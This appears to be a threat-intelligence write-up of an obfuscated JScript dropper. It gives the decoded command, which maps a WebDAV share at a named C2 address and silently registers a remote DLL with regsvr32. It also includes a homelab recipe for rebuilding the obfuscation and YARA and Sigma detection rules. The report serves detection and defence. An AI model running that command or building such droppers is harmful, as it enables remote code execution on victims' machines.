unclassified-js-webdav-dropper: a435a37b — 36-entry noise-key dictionary variant, 45.9.74.36:8888 C2

Executive Summary: JScript dropper using a 36-entry noise-key dictionary lookup obfuscation to assemble a WScript.Shell command at runtime. Decoded payload mounts a WebDAV share at 45.9.74.36:8888 and silently registers a remote DLL via regsvr32 /s. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Twenty-third confirmed sibling in the WebDAV dropper family.

What It Is

• File: 10895314512284620716.js ^[file.txt]
• Size: 5,575 bytes ^[file.txt]
• Format: ASCII text with CRLF line terminators, very long lines (4,203 chars) ^[file.txt]
• Language: JScript (Windows Script Host) ^[strings.txt:1]
• Obfuscation: Dictionary character-lookup — 36 entries mapping random noise keys (8–20 lowercase characters, no semantic content) to single ASCII characters. ^[strings.txt:1–36]
• Anti-analysis: None — no debugger checks, VM detection, time-bombs, or connectivity gates. ^[strings.txt]
• CAPE: Skipped — not a supported binary class. ^[dynamic-analysis.md]

How It Works

1. Dictionary build. An object mcresythfgmletv is populated with 36 key/value pairs. Keys are random noise strings (tvlqlesrxsaw, xjbahjxurxgyowok, inubkcqhhizythkiqv, etc.); values are single characters covering [a-z0-9]. ^[strings.txt:1–36]
2. Decoy trigger. try{wpbdromwppvivaiu();}catch(...) forces the catch block — the function name is undefined. ^[strings.txt:37]
3. String assembly. Inside the catch block, Function('return this')() is used to reach the global WScript object. Dictionary lookups assemble WScript.Shell and its .Run() method. ^[strings.txt:37]
4. Command execution. The assembled command is:

   cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\8219187519655.dll
   

   This mounts the WebDAV share and silently loads the remote DLL. ^[deobfuscation.js]
5. No persistence. One-shot execution — no registry writes, scheduled tasks, or startup folders.

C2 Infrastructure

Interesting Tidbits

• Noise-key style. This is the third observed 36-entry noise-key variant after d0124d62 and d90baa30. The key naming convention (random lowercase noise, no semantic content) appears to be a deliberate anti-heuristic shift away from alliterative English-phrase keys used in cc90d6c and ccb2d007. ^[strings.txt:1–36]
• Same infrastructure. C2 IP 45.9.74.36:8888 is shared with at least nine prior siblings (ffd5d894, e9e82d14, f170f5a9, fa7e181d, cb5d302f, d0124d62, d90baa30, dac5e0ee, e11665cf). The payload filename 8219187519655.dll is new but follows the same numeric-naming pattern. ^[deobfuscation.js]
• No PowerShell wrapper. Unlike the cloudslimit.com cluster (fb353965, df42ecf8, a3419c27a), this sample does not wrap execution in a PowerShell -EncodedCommand cradle. ^[deobfuscation.js]
• No wordpad decoy. The pure-batch variants (ffd5d894, e9e82d14, f170f5a9, etc.) launch wordpad as a decoy; dictionary variants against 45.9.74.36:8888 omit it. ^[deobfuscation.js]
• Dictionary object name. mcresythfgmletv — 15-character random noise, consistent with the noise-key naming style. ^[strings.txt:1]

How To Mess With It (Homelab Replication)

1. Build a 36-entry noise-key dictionary. Pick 36 random lowercase strings (8–20 chars) and map them to [a-z0-9].
2. Encode a command. Split cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\test.dll into dictionary lookups.
3. Wrap in decoy. Use try{undefinedFunc();}catch(e){...} to force execution.
4. Test against EDR. Static string detection will see only noise keys; behavioral detection on wscript.exe → cmd.exe → regsvr32.exe is the reliable kill chain.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_NoiseKey_Dictionary : script dropper {
    meta:
        description = "JScript WebDAV dropper with noise-key dictionary lookup obfuscation"
        author = "PacketPursuit"
        date = "2026-06-26"
        hash = "a435a37bb42d4d9d60eeec11ed434a8f053bd364cbb04e212a8f10085477ad07"
    strings:
        $dict_init = /[a-z]{10,20}=\[\];[a-z]{10,20}\['/ ascii
        $dav = "DavWWWRoot" nocase ascii
        $regsvr = "regsvr32" nocase ascii
        $func_return = "return this" ascii
        $net_use = "net use" nocase ascii
    condition:
        filesize < 10KB and
        #dict_init >= 30 and
        $dav and
        $regsvr and
        $func_return and
        $net_use
}

Sigma Rule

title: WebDAV DLL Sideloading via JScript Dropper
status: experimental
description: Detects JScript execution leading to cmd.exe spawning net use and regsvr32 with a DavWWWRoot UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\\wscript.exe'
        CommandLine|contains:
            - 'net use'
            - 'DavWWWRoot'
            - 'regsvr32'
    condition: selection
falsepositives:
    - Legitimate IT automation using WebDAV and regsvr32
level: high

IOC List

Behavioral Fingerprint

This JScript dropper builds a noise-key dictionary of 36 entries, then uses Function('return this')() to reach the global WScript object and assemble a WScript.Shell.Run() call. The executed command mounts a WebDAV share at \\45.9.74.36@8888\davwwwroot\ and silently registers a remote DLL via regsvr32 /s. No PowerShell wrapper, no persistence, no decoy application. Observable process chain: wscript.exe → cmd.exe → regsvr32.exe with a UNC path containing DavWWWRoot.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation method
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• MITRE ATT&CK T1059.005: https://attack.mitre.org/techniques/T1059/005/
• MITRE ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/

Provenance

• file.txt — file utility output (file-type identification)
• strings.txt — raw string extraction from the JS source
• dynamic-analysis.md — CAPE sandbox status (skipped, not a binary)
• capa.txt — Mandiant capa capability detection (unsupported file type)
• deobfuscation.js — runtime-evaluated decoded command captured via Node.js mock of WScript.Shell
• Sample retrieved from MalwareBazaar via OpenCTI connector, 2026-05-26